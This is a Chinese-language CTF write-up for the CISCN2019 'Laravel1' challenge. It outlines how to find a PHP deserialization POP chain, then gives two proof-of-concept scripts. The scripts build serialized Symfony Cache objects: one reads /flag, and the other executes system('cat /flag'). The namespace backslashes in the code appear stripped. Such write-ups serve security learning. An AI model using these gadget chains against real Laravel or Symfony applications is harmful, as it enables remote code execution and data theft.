• 刷题记录:[CISCN2019 总决赛 Day1 Web4]Laravel1


    刷题记录:[CISCN2019 总决赛 Day1 Web4]Laravel1

    题目复现链接:https://buuoj.cn/challenges
    参考链接:国赛决赛laravel的另一种不完美做法

    解题过程

    第一次分析这么大量的代码,中途看睡着了好几次,自己搞不出来,看wp跟着走算是弄懂。
    首先题目首页给出了提示,告诉我们利用点就是反序列化,问题是要找到pop链。

    思路:

    • 1、首先全局搜索__destruct这样的魔术方法
    • 2、看看本类中有没有可控的命令执行命令,如果没有就找有没有那个方法可以调用其他类
    • 3、然后全局搜索能利用的可控函数

    看起来思路很简单,但是操作起来是真的头痛,先贴上两个poc,以后这种题接触多了再补。。

    <?php
    namespace SymfonyComponentCache{
    
        final class CacheItem{
    
        }
    }
    namespace SymfonyComponentCacheAdapter{
    
        use SymfonyComponentCacheCacheItem;
        class PhpArrayAdapter{
            private $file;
            public function __construct()
            {
                $this->file = '/flag';
            }
        }
    
        class TagAwareAdapter{
            private $deferred = [];
            private $pool;
    
            public function __construct()
            {
                $this->deferred = array('flight' => new CacheItem());
                $this->pool = new PhpArrayAdapter();
            }
        }
    }
    
    namespace {
    
        use SymfonyComponentCacheAdapterTagAwareAdapter;
    
        $obj = new TagAwareAdapter();
        echo urlencode(serialize($obj));
    }
    
    
    <?php
    
    namespace SymfonyComponentCacheAdapter;
    
    class TagAwareAdapter{
        public $deferred = array();
        function __construct($x){
            $this->pool = $x;
        }
    }
    
    class ProxyAdapter{
        protected $setInnerItem = 'system';
    }
    
    namespace SymfonyComponentCache;
    
    class CacheItem{
        protected $innerItem = 'cat /flag';
    }
    
    $a = new SymfonyComponentCacheAdapterTagAwareAdapter(new SymfonyComponentCacheAdapterProxyAdapter());
    $a->deferred = array('aa'=>new SymfonyComponentCacheCacheItem);
    echo urlencode(serialize($a));
    
  • 相关阅读:
    Oracle适配问题解决
    Oracle12C创建视图权限不足
    Oracle12C配置对外访问
    Oracle12C创建scott账户
    Oracle12C安装配置文档
    Redis适配采坑记
    Redis安装问题解决方案
    Redis Linux 安装部署
    【计网 第四章-2】
    【信息论编码2】测度论
  • 原文地址:https://www.cnblogs.com/20175211lyz/p/11508348.html
Copyright © 2020-2023  润新知